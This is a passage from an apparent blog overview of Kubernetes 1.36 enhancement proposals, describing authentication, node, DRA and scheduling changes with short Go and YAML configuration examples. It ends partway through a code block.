This KEP proposes a transition from static, file-based Service Account key management to a more dynamic integration with external providers like **Hardware Security Modules ([HSMs](https://en.wikipedia.org/wiki/Hardware_security_module))** and **Cloud [KMS](https://cloud.google.com/security/products/security-key-management)**. Currently, the `kube-apiserver` loads signing keys from the local disk at startup, a method that lacks flexibility and poses a security risk, as any user with filesystem access could exfiltrate the signing material. By introducing a new **gRPC-based API** (`ExternalJWTSigner`) accessible via a Unix domain socket, Kubernetes can delegate JWT signing and public key retrieval to an external plugin. This shift enables seamless key rotation without requiring an API server restart and ensures that sensitive private keys never reside in the cluster’s local memory or storage.



To maintain consistency and security, the `kube-apiserver` remains responsible for assembling the JWT claims and headers, while the external signer only provides the signature. This architecture prevents claim divergence and ensures that externally signed tokens remain compatible with existing OIDC discovery endpoints. While the proposal introduces a new `--service-account-signing-endpoint` flag, it preserves backward compatibility by keeping existing file-based flags as mutually exclusive options. Potential performance overhead from socket communication will be mitigated through benchmarking, and access to the signing socket will be restricted via standard Unix file permissions to prevent unauthorised token generation.



[#5681](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-auth&pane=issue&itemId=152507737&issue=kubernetes%7Cenhancements%7C5681) _Conditional authorisation  
_**Stage:** Net New to Alpha  
**Feature group:** sig-auth

Kubernetes 1.36 introduces a brand-new conditional authorisation capability, which is a framework that allows authorisation decisions to depend on the actual data within a resource (like specific fields or labels) rather than just its metadata. Currently, Kubernetes authorisers (like [**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) are basically blind to the content of a request body. This KEP has a two-phase evaluation process. 

- In the first phase, the authoriser performs **partial evaluation**: if it can't reach a final **Allow** or **Deny** based on metadata alone, it returns a **Conditional** response containing a set of requirements (for example, " only Allow if `storageClassName` is '_dev_' ").
- In the second phase, these conditions are enforced during the **Validating Admission** stage, where the API server finally decodes the object and has access to the necessary field data to make a concrete decision.

This architecture solves several long-standing limitations by providing a unified, cohesive policy model that spans both authorisation and admission. It eliminates the need for administrators to essentially over-grant their permissions in RBAC only to restrict them later with separate tools like `ValidatingAdmissionPolicy`.



By propagating conditions through the request chain, the system ensures atomicity (the decision is based on a single snapshot of policy) and improves user experience, as users can see exactly why they are restricted via `kubectl auth can-i` lookups. Concretely, the enhancement extends the `SubjectAccessReview` API and introduces an `AuthorizationConditionsReview` API, enabling both in-tree and out-of-tree authorisers to implement fine-grained controls, like restricting which fields user can update or which `signerName` a CSR can use without compromising API server's performance or security.



[#5284](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-auth&pane=issue&itemId=151375714&issue=kubernetes%7Cenhancements%7C5284) _Constrained impersonation  
_**Stage:** Graduating to Beta  
**Feature group:** sig-auth

Constrained impersonation helps Kubernetes move away from the unrestricted legacy model where an impersonator automatically inherits all permissions of the target user. To mitigate these security risks (especially for controllers and per-node agents) impersonators must now possess two distinct sets of permissions: 

- The authority to impersonate a specific identity (`impersonate:user-info`)
- Right to perform specific actions on behalf of that identity (`impersonate-on:user-info:list`).

This opt-in mechanism ensures that even if a controller is compromised, its impersonation power is limited to specific resources and verbs. In the below [**Go**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-auth/5284-constrained-impersonation#proposal) example, a controller can be restricted to impersonating only the specific node it is running on by using the downward API to identify itself and configuring the client as follows:

```json
{
  "_key": "d4396bf2c9fa",
  "_type": "code",
  "code": "// Example: Restricting a controller to impersonate its own node\nkubeConfig, _ := clientcmd.BuildConfigFromFlags(\"\", \"\")\nkubeConfig.Impersonate = rest.ImpersonationConfig{\n\tUserName: \"system:node:\" + os.Getenv(\"MY_NODE_NAME\"),\n}",
  "filename": null,
  "language": "golang",
  "markDefs": null
}
```

By introducing these prefixed verbs like `impersonate-on:user-info:watch`, platform engineers can now define highly specific RBAC roles. This setup ensures that an impersonator can only execute a request if both the impersonator has the `impersonate-on` permission for the action and the impersonated principal has the underlying permission to perform the task itself.



[#3926](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-auth&pane=issue&itemId=152507646&issue=kubernetes%7Cenhancements%7C3926) _Handling undecryptable resources  
_**Stage:** Graduating to Beta  
**Feature group:** sig-auth

Kubernetes 1.36 is addressing a long-standing recovery gap where encrypted API resources become undeletable due to missing keys or data corruption. Currently, if a single object in **etcd** fails to decrypt or decode, listing that resource type fails entirely, forcing admins to bypass the Kubernetes API and manually manipulate the database, which is a really risky and complex process. To solve this, the proposal introduces a way to identify these broken resources and provides a new **DeleteOption** that allows for their removal even when their content remains unreadable.



However, this unconditional delete is a high-risk operation. Since the system cannot read the object's metadata, deleting it bypasses standard safety features like finalisers and **garbage collection**, potentially leaving orphaned system processes (like running Pods) behind. To mitigate this, the design includes a new `StatusReasonStoreReadError` for better diagnostics and requires explicit confirmation through `kubectl` prompts and server-side admission layers to ensure administrators understand the impact before purging malformed data.

## **Kubernetes 1.36 Nodes**

[#127](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=150462033&issue=kubernetes%7Cenhancements%7C127) _Support User Namespaces in pods  
_**Stage:** Graduating to Stable  
**Feature group:** sig-node

This enhancement introduces support for user namespaces, a critical isolation feature that maps containerised user and group IDs to different, unprivileged IDs on the host. By allowing a process to hold root privileges within a pod while remaining unprivileged on the underlying node, the KEP significantly bolsters node-to-pod and pod-to-pod isolation. This ensures that even if a process achieves a container breakout or possesses elevated capabilities like `CAP_SYS_ADMIN`, its impact is strictly confined to the namespace, preventing it from exercising administrative control over the host or other pods.



The implementation specifically addresses and mitigates several high-severity vulnerabilities where container escapes or privilege escalations previously threatened host integrity. Key CVEs resolved or dampened by this update include:

- [**CVE-2019-5736**](https://nvd.nist.gov/vuln/detail/cve-2019-5736): Completely mitigates ability to overwrite the host `runc` binary from a container.
- [**CVE-2017-1002101**](https://nvd.nist.gov/vuln/detail/cve-2017-1002101): Fixes critical vulnerability (**CVSS: 9.6**) involving volume mounts & subpaths.
- [**Azurescape**](https://www.paloaltonetworks.com/blog/2021/09/azurescape/): Neutralises the first known cross-account container takeover in public cloud provider.
- [**CVE-2018-15664**](https://nvd.nist.gov/vuln/detail/CVE-2018-15664) & [**CVE-2016-8867**](https://nvd.nist.gov/vuln/detail/CVE-2016-8867): Prevents [**TOCTOU**](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) race attacks & internal privilege escalation.
- [**CVE-2021-25741**](https://nvd.nist.gov/vuln/detail/cve-2021-25741) & [**CVE-2021-30465**](https://nvd.nist.gov/vuln/detail/CVE-2021-30465): Mitigates symlink & mount-based attacks by ensuring container-root is not host-root.



[#2862](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=150462156&issue=kubernetes%7Cenhancements%7C2862) _Fine-grained Kubelet API authorisation  
_**Stage:** Graduating to Stable  
**Feature group:** sig-node  
**Feature gate:** KubeletFineGrainedAuthz **Default value:** true

Another welcome stable update sees the generally-availability of fine-grained authorisation for the Kubelet API to better support the [**principle of least privilege**](https://en.wikipedia.org/wiki/Principle_of_least_privilege). Previously, the Kubelet used a coarse RBAC scheme where low-risk actions, such as reading health status (`/healthz`) or listing pods (`/pod`s), required the same high-level proxy subresource permission as dangerous actions like executing arbitrary code (`/exec`). By introducing specific subresources for `/configz`, `/healthz`, and `/pods`, the proposal allows monitoring and logging agents to access necessary data without being granted over-privileged access that could be exploited for lateral movement or privilege escalation.



The implementation introduces a new feature gate, `KubeletFineGrainedAuthz`, and ensures backward compatibility by falling back to the original proxy check if the new granular permissions are not found. To minimise performance impacts from additional `SubjectAccessReview` requests, the design leverages the Kubelet’s existing authorisation cache. Beyond security hardening, this change also aims to officially document these previously internal Kubelet endpoints, providing a standardised and secure way for ecosystem tools to interact with node-level data.



[#5554](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=150462259&issue=kubernetes%7Cenhancements%7C5554) _Support in-place update pod resources alongside static CPU manager policy  
_**Stage:** Net New to Alpha  
**Feature group:** sig-node

Transitioning to Alpha status in 1.36, platform teams benefit from a major improvement to Kubernetes resource management by enabling in-place vertical scaling for pods even when a **Static [CPU Manager policy](https://kubernetes.io/docs/tasks/administer-cluster/cpu-management-policies/)** is active. Previously, the so-called “Static” policies, which grant pods exclusive access to specific CPU cores, struggled to reconcile real-time resource changes without restarting the container. This update integrates **Topology Manager** feasibility checks into the pod resize path, allowing the Kubelet to dynamically allocate or release exclusive CPU cores during an upsize or downsize event. By updating the `CPUManager` checkpoint format to track both original and resized allocations, the system can now perform admission-style validation during a live resize to ensure NUMA alignment and resource availability are maintained without interrupting the workload.



[#4205]() _Support PSI based on cgroupv2  
_**Stage:** Graduating to Stable  
**Feature group:** sig-node

The GA state for integration of **Pressure Stall Information ([PSI](https://docs.kernel.org/accounting/psi.html))** in Kubernetes 1.36 enhances node monitoring by allowing the kubelet to natively ingest and expose CPU, memory, and I/O pressure metrics from [**cAdvisor**](https://github.com/google/cadvisor) and [**runc**](https://github.com/opencontainers/runc). Previously, users had to rely on external tools like [**Node Exporter**](https://github.com/prometheus/node_exporter) to gain this visibility. However, this update embeds PSI data directly into the **Summary API** at both the node and pod levels. By providing barometer-like insights into resource shortages before they cause failures, these metrics enable more granular detection of congestion (categorised as `some` or `full` pressure) over [**10, 60, and 300-second windows**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/4205-psi-metric/README.md#design-details). This foundational change sets the stage for more proactive node management and intelligent responses to impending resource scarcity within the cluster.



To help visualise how data is now organised in the API, here’s a simplified look at a new metrics schema:

```json
{
  "_key": "1272291423b1",
  "_type": "tableBlock",
  "firstRowIsHeader": true,
  "markDefs": null,
  "table": {
    "rows": [
      {
        "_key": "bc6b53d5-ec36-4154-89cd-43a03368c0e4",
        "_type": "tableRow",
        "cells": [
          "Metric-level",
          "Resource Types",
          "Data Points Provided"
        ]
      },
      {
        "_key": "5fc1bcd0-511b-4d3b-911d-7b2574322929",
        "_type": "tableRow",
        "cells": [
          "NodeStats",
          "CPU, Memory, I/O",
          "Avg10, Avg60, Avg300 (%), and Total (ns)"
        ]
      },
      {
        "_key": "f34bb52e-4652-43f9-b093-a388240c2d3f",
        "_type": "tableRow",
        "cells": [
          "PodStats",
          "CPU, Memory, I/O",
          "Some (partial stall) and Full (complete stall)"
        ]
      }
    ]
  }
}
```



[#4265](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=150612035&issue=kubernetes%7Cenhancements%7C4265) _add ProcMount option  
_**Stage:** Graduating to Stable  
**Feature group:** sig-node

This enhancement, revitalised for K8s 1.36, graduates the long-standing `ProcMountType` feature to allow high-trust workloads to bypass the default security masking of the `/proc` filesystem. Traditionally, the Kubelet instructs container runtimes to mask or set certain `/proc` paths as read-only to prevent sensitive host data exposure. However, this restriction blocks critical use cases like nesting unprivileged containers or building container images within a Pod. By introducing the `procMount: Unmasked` field to the `securityContext`, users can now opt out of these defaults. Because unmasking `/proc` can theoretically allow a root container to modify the host kernel, this capability is strictly governed by the **Privileged** Pod Security Admission ([**PSA**](https://kubernetes.io/docs/concepts/security/pod-security-admission/)) level and is intended to be used in conjunction with User Namespaces to mitigate escalation risks.





[#5109](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=151172982&issue=kubernetes%7Cenhancements%7C5109) _Split L3 Cache Topology Awareness in CPU Manager  
_**Stage:** Graduating to Stable  
**Feature group:** sig-node

This stable enhancement offers a new Kubernetes CPU Manager static policy option, `prefer-align-cpus-by-uncorecache`, designed to optimise workload performance on modern modular CPU architectures. While traditional processors often use a single, shared uncore (last-level) cache, newer x86 and ARM designs frequently employ a **split uncore cache** where subsets of cores share dedicated cache units. The current Kubelet is unaware of this hierarchy, often spreading container processes across multiple uncore caches. This leads to [**noisy neighbor**](https://www.spectrocloud.com/blog/managing-the-noisy-neighbor-problem-in-kubernetes-multi-tenancy) issues and increased inter-cache latency, which can degrade performance for latency-sensitive applications like HPC, networking, and Telco functions.



The proposed feature introduces an opt-in, best-effort allocation algorithm that prioritises grouping CPU assignments within the fewest number of uncore cache domains possible. By adding an `uncorecacheId` to the CPU topology awareness, the CPU Manager can now sort and allocate resources that align with these physical hardware boundaries. This optimisation has demonstrated significant real-world benefits, such as an [**18% performance uplift**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/4800-cpumanager-split-uncorecache/README.md#:~:text=There%20was%20a%2018%25%20uplift%20in%20performance%20when%20uncore%20cache%20aligned%20compared%20to%20default%20behavior.%20Other%20workloads%20may%20see%20higher%20or%20lower%20gains%20based%20on%20uncore%20cache%20utilization.) in database workloads. Importantly, the policy is designed to be non-disruptive. Basically, it integrates with existing options like `full-pcpus-only` and falls back to standard behaviour if optimal alignment isn't possible or if the hardware doesn't support split caches, ensuring high-density and mixed-workload support remains intact.





[#5328](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=151172993&issue=kubernetes%7Cenhancements%7C5328) _Node declared features (formerly Node Capabilities)  
_**Stage:** Graduating to Beta  
**Feature group:** sig-node

The Node Declared Features KEP proposed a standardised approach for nodes to automatically report their supported feature-gated capabilities directly to the control plane. Currently, managing version skew (which is the gap between a newly upgraded control plane and older Kubelet versions) relies on DevOps engineers to manually apply complex taints, labels, and selectors to ensure pods land on compatible hardware. This proposal introduces a `declaredFeatures` field in the node’s status, which the Kubelet populates during its bootstrap process. By making these features a first-class signal, the kube-scheduler can proactively filter out incompatible nodes, keeping pods in a `Pending` state with clear feedback rather than allowing them to fail with runtime errors after being scheduled.



Beyond scheduling, this framework enhances API safety and cluster stability during gradual rollouts. Admission controllers can use these declared features to validate requests, such as rejecting an in-place pod resize if the target node is running an older version that lacks support for the operation. It also allows the API server to dynamically adapt its communication protocols, such as [**transitioning from SPDY to WebSockets**](https://kubernetes.io/blog/2024/08/20/websockets-transition/) only when a node confirms it is capable. Ultimately, this mechanism reduces operational overhead and increases workload portability by replacing inconsistent, provider-specific manual configurations with a native, automated lifecycle for graduating Kubernetes features.





[#5394](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=151172997&issue=kubernetes%7Cenhancements%7C5394) _PSI-based node conditions  
_**Stage:** Net New to Alpha  
**Feature group:** sig-node

This Alpha stage enhancement introduces Pressure Stall Information ([**PSI**](https://kubernetes.io/docs/reference/instrumentation/understand-psi-metrics/))-based node conditions to Kubernetes, which looks to have been somewhat in limbo since the 1.34 release. Originally split from [**KEP-4205**](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=152507672&issue=kubernetes%7Cenhancements%7C4205) to allow for independent tracking, this enhancement leverages **cgroupv2** to provide more granular visibility into resource contention. By exposing PSI metrics, the kubelet can now identify and report when a node is experiencing significant pressure on Memory and I/O resources. Notably, the implementation distinguishes between these uncompressible resources and CPU PSI, which, due to its compressible nature, is slated as a requirement for the Beta phase rather than being used for immediate node tainting in the Alpha stage. Graduating to Alpha, this enhancement significantly improves the scheduler & operator's ability to respond to resource exhaustion before a node becomes completely unresponsive.





[#5825](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=153109291&issue=kubernetes%7Cenhancements%7C5825) _CRI List streaming  
_**Stage:** Net New to Alpha  
**Feature group:** sig-node

The core of this Alpha enhancement is transforming how CRI handles these **List operations**, ultimately moving away from a single, bulky all-or-nothing response toward a continuous stream of data. By transitioning to **server-side streaming**, the `List*` operations can effectively drip-feed the container and pod data to the kubelet. This prevents the system from hitting that hard [**16 MB gRPC**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-node/5825-cri-pagination#summary:~:text=responses%20exceed%20the-,16%20MB%20gRPC,-message%20limit.%20The) wall when dealing with massive datasets, such as nodes managing over 10,000 containers, while ensuring the kubelet still receives the full list it needs to function.





[#5419](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node&pane=issue&itemId=151173001&issue=kubernetes%7Cenhancements%7C5419) _Pod-level resources support with in-place pod vertical scaling  
_**Stage:** Graduating to Beta  
**Feature group:** sig-node

By extending In-Place Pod Resize ([**IPPR**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/5419-pod-level-resources-in-place-resize/README.md#goals)) to support aggregate resource specifications at the Pod level, building on the foundation of [**KEP-2837**](https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/2837-pod-level-resource-spec/README.md). Currently, IPPR is limited to container-level adjustments, often forcing pod recreations to change the overall resource footprint. By enabling dynamic, in-place scaling of pod-level CPU and memory, operators can improve cluster utilisation and reduce operational overhead without disrupting running services. This enhancement is specifically designed for cgroupv2 environments and was originally introduced as an opt-in alpha feature in Kubernetes v1.34 under the feature gate - `InPlacePodLevelResourcesVerticalScaling`. Now making the graduation to beta status.



The design ensures consistency with existing IPPR workflows while introducing new tracking mechanisms in `PodStatus` to reflect actual allocated resources. While the proposal offers significant flexibility for multi-container pods, it maintains a strict scope: it does not cover non-compute resources (like GPUs), QoS class changes, or the removal of lower-priority pods to facilitate resizing. Potential risks, such as scheduler race conditions and impacts on tools that rely on legacy cgroup derived values, are mitigated through gradual rollouts (Alpha to GA) and comprehensive documentation of the new resource calculation methods.



## **Node-specific DRA enhancements in 1.36**

Dynamic Resource Allocation (DRA) is causing a seismic shift within Kubernetes. As there is an increasing movement to get Kubernetes to support dedicated GPU hardware like Nvidia for AI and LLM workloads, we’ll be seeing more Node-related changes to accommodate DRA in production Kubernetes environments like [**ChatGPT**](https://openai.com/index/scaling-kubernetes-to-7500-nodes/).



[#5304](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node+DRA%3A&pane=issue&itemId=150462228&issue=kubernetes%7Cenhancements%7C5304) _Device Attributes in Downward API  
_**Stage:** Net New to Alpha  
**Feature group:** sig-node  
**Feature gate:** DRADownwardDeviceAttributes **Default value:** disabled

The Device Attributes in Downward API is a net-new enhancement entering Alpha in Kubernetes 1.36. This feature allows Pods to self-discover specific attributes of allocated devices, like hardware IDs, NUMA affinity, or custom vendor strings, by resolving them directly from `ResourceSlices` and surfacing them into the Pod's environment or volumes. By utilising a new `DRADeviceFieldRef` structure, the system can handle complex allocation scenarios, including single-device indexing or concatenating attributes from multiple devices into a single comma-separated string for easier application consumption.

The implementation is unique because it operates as a framework-level opt-in rather than a core Kubernetes API change, requiring DRA drivers to explicitly enable the metadata feature through the `kubeletplugin` library. To ensure operational stability and security, the design incorporates unique identifiers like the `claimUID` in host file paths to prevent metadata collisions between different incarnations of the same resource claim. Furthermore, the enhancement includes a dedicated command-line flag within the DRA driver framework, giving administrators and developers a straightforward mechanism to disable the metadata generation code path without needing to refactor the driver’s core logic if issues arise during the Alpha phase.



[#5018](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node+DRA%3A&pane=issue&itemId=150612047&issue=kubernetes%7Cenhancements%7C5018) _AdminAccess for ResourceClaims and ResourceClaimTemplates  
_**Stage:** Graduating to Stable  
**Feature group:** sig-node

The **DRAAdminAccess** feature, graduating to General Availability (GA) in Kubernetes 1.36, solves a critical operational bottleneck in DRA by providing a secure, privileged monitoring path for hardware devices. Historically, DRA was designed for exclusive workload access, so once a GPU or FPGA was claimed by a user it basically became a black box to platform engineers. `DRAAdminAccess` introduces a formal mechanism for cluster admins to bypass standard allocation logic, allowing them to deploy monitoring agents or diagnostic tools to devices already in use without displacing the primary workload or violating security boundaries.

This graduation to Stable status matters because it transitions the feature from an experimental toggle to a core, production-ready standard for hardware management. By enforcing a strict security model that requires both an `adminAccess` flag in the `ResourceClaim` and a specific label on the namespace (`resource.kubernetes.io/admin-access: "true"`) it ultimately prevents non-privileged users from snooping on shared hardware. For dev teams running large-scale AI or HPC clusters, this provides a really powerful feature for real-time health telemetry and troubleshooting, ensuring expensive hardware isn't just utilised, but also properly maintained and observable

To use this feature, the Kubernetes admin first labels a secure namespace and then creates a `ResourceClaim` with the `adminAccess` field set to `true`. This allows the pod to attach to devices even if they are already allocated to other users.

```json
{
  "_key": "cd5fbe4746ec",
  "_type": "code",
  "code": "apiVersion: resource.k8s.io/v1beta1\nkind: ResourceClaim\nmetadata:\n  name: gpu-monitoring-claim\n  # The namespace must have the label: resource.kubernetes.io/admin-access: \"true\"\n  namespace: kube-system \nspec:\n  devices:\n    requests:\n      - deviceClassName: nvidia-gpu-class\n        # This flag bypasses standard allocation checks in the scheduler\n        adminAccess: true",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```



[#5677](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-node+DRA%3A&pane=issue&itemId=150892112&issue=kubernetes%7Cenhancements%7C5677) _Resource Availability Visibility  
_**Stage:** Net New to Alpha  
**Feature group:** sig-node

Resource Availability Visibility addresses yet another critical transparency gap in the framework by providing a standardised way to query the real-time availability of hardware resources like GPUs, FPGAs, and NICs. This enhancement introduces a new API object, the `ResourcePoolStatusRequest`, which functions similarly to a **Certificate Signing Request ([CSR](https://en.wikipedia.org/wiki/Certificate_signing_request))** in that a user creates the object to ask the cluster about available resources, and a controller populates the status with calculated data before eventually being cleaned up.



Users should care because, prior to this, determining whether a cluster actually had the specialised hardware capacity to run a complex workload was often a try and fail guessing game, especially in multi-tenant environments. By providing a principled, bounded view of resource pools, this feature enables developers and autoscalers to make informed scheduling decisions, reduces pod pending times caused by resource exhaustion, and offers much-needed observability for administrators managing high-performance computing hardware.



## **Scheduling in Kubernetes 1.36**

[#5710](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling&pane=issue&itemId=150725181&issue=kubernetes%7Cenhancements%7C5710) _Workload-aware preemption  
_**Stage:** Net New to Alpha  
**Feature group:** sig-scheduling

This enhancement transitions the Kubernetes scheduler to a workload-centric view to better support modern AI computing requirements. Historically, if a high-priority task needed resources, the scheduler might kill just one or two pods from a lower-priority job. For tightly-coupled workloads like AI training or multi-host inference, losing even a single pod often renders the entire job useless, leaving the remaining pods to sit idle and waste expensive GPU resources. This KEP introduces the `PodGroup` API and a `DisruptionMode` setting, which allows the scheduler to recognise these dependencies. By treating a group of pods as a single preemption unit, the scheduler ensures that if it must reclaim resources, it preempts the entire workload at once, preventing the creation of zombie jobs and maximising the functional utilisation of the cluster.



For platform teams, this Alpha stage enhancement provides the foundational building blocks to manage capacity-constrained environments with much higher precision. It introduces a delayed preemption logic that prevents the unnecessary disruption of running workloads until the scheduler is certain that the new, higher-priority workload can actually be bound and started. While this stage focuses on simple implementations and API standardisation, it allows platform engineers to start defining priorities at the workload level rather than managing them pod-by-pod. This standardisation is critical for teams running mixed-workload clusters, as it paves the way for tighter integration with autoscaling and disruption budgets, ultimately ensuring that high-value AI training and inference jobs meet their SLOs without manual intervention or custom, external scheduling logic.



[#5732](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling&pane=issue&itemId=150725188&issue=kubernetes%7Cenhancements%7C5732) _Topology-aware workload scheduling  
_**Stage:** Net New to Alpha  
**Feature group:** sig-scheduling

By embedding **Topology** and **DRA awareness** directly into the `kube-scheduler`, the system can now evaluate Placements, which are subsets of the cluster like specific racks or interconnected hardware blocks, as a single unit. Instead of scheduling pods one-by-one and hoping they end up near each other, the scheduler simulates the placement of the entire pod group within candidate domains. This ensures that high-performance workloads are co-located to meet strict low-latency and high-bandwidth requirements without relying on external, less-integrated tools.



For platform teams, this is a critical evolution for two reasons:

- **Performance reliability and cost efficiency. **AI/ML workloads, particularly distributed training, are notoriously sensitive to network jitter/latency; if a single pod in a training job is scheduled across a slow network hop, it can bottleneck the entire GPU cluster, wasting expensive compute cycles.
- By utilising `TopologyConstraints` and `DRAConstraints`, platform teams can guarantee that interconnected accelerators and their respective pods are physically co-located on the same rack or [**PCIe switch**](https://semiengineering.com/rethinking-ai-infrastructure-the-rise-of-pcie-switches/). This deep integration into the core `kube-scheduler` reduces operational complexity by **eliminating the need for third-party schedulers**, ensuring that AI workloads achieve maximum hardware utilisation and predictable training times right out of the box.



[#5832](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling&pane=issue&itemId=151704101&issue=kubernetes%7Cenhancements%7C5832) _Decouple PodGroup from Workload API  
_**Stage:** Net New to Alpha  
**Feature group:** sig-scheduling

This KEP proposes transitioning the **PodGroup API** into a standalone runtime object for `v1alpha2`, decoupling it from the **Workload API**. Previously, PodGroups were embedded within the Workload spec, which led to significant scalability issues (such as hitting the [**1.5MB etcd object limit**](https://github.com/kubernetes/enhancements/tree/master/keps/sig-scheduling/5832-decouple-podgroup-api#motivation)) as well as architectural friction between long-lived config intent and transient scheduling units. By separating them, the Workload object remains a static template for scheduling policies, while the PodGroup acts as a self-contained, controller-owned unit that tracks its own runtime status and lifecycle.



This separation of concerns allows for better garbage collection of associated resources (like ResourceClaims) and reduces API contention. Under this new model, controllers like Job or JobSet automatically create PodGroups based on a `podGroupTemplate` defined in the referenced Workload. The proposed structure for the standalone object is as follows:

```json
{
  "_key": "fe6082592b27",
  "_type": "code",
  "code": "apiVersion: scheduling.k8s.io/v1alpha2\nkind: PodGroup\nmetadata:\n  name: pd-1\n  namespace: ns-1\nspec:\n  podGroupTemplateRef:\n    workloadName: training-workload\n    podGroupTemplateName: pd-1-template\n  schedulingPolicy:\n    gang:\n      minCount: 2\nstatus:\n  conditions:\n  - type: PodGroupScheduled\n    status: \"True\"",
  "filename": null,
  "language": "yaml",
  "markDefs": null
}
```

****

## **Storage DRA enhancements in 1.36**

Normally this falls under `sig-scheduling`, but due to the rapid feature development and storage-specific enhancements related specifically to DRA, I’ve decided to break this out into its own individual section for the 1.36 release – similar to what we did with the node-specific DRA breakout.



[#4815](https://github.com/orgs/kubernetes/projects/241/views/1?filterQuery=-is%3Adraft+-status%3ADeferred%2C%22Removed+from+Milestone%22+-enhancement-type%3ADocs+prr-status%3AApproved+sig%3Asig-scheduling+DRA%3A&pane=issue&itemId=150612039&issue=kubernetes%7Cenhancements%7C4815) _Partitionable Devices  
_**Stage:** Graduating to Beta  
**Feature group:** sig-scheduling

The DRA storage-specific enhancement specifically focuses on **dynamic device partitioning** using structured parameters. While traditional device plugins require hardware to be partitioned into fixed sizes before a task starts, this new DRA framework allows a vendor to advertise overlapping potential partitions. This means the hardware (GPUs & TPUs) stays as a single bag of resources until a workload is actually scheduled, at which point the scheduler dynamically carves out the specific slice needed.

This approach is highly beneficial because it significantly **increases resource utilisation** and **scheduling flexibility**. By using a new construct called **Counter Sets**, the scheduler can track shared physical resources (like memory slices or compute engines) across multiple potential configurations. This prevents fragmentation where a pre-partitioned device sits idle because its fixed size doesn't match any incoming requests. It also enables multi-host scheduling, allowing logical devices (such as interconnected TPU clusters) to be treated as a single allocatable unit across multiple nodes while ensuring the underlying topology remains valid.

The following code snippet demonstrates how a user can request specific, non-overlapping partitions of a GPU (like [**NVIDIA MIG**](https://www.nvidia.com/en-us/technologies/multi-instance-gpu/) devices) by defining multiple requests within a single `ResourceClaim`:

```json
{
  "_key": "7c00f36eddfe",
  "_type": "code",
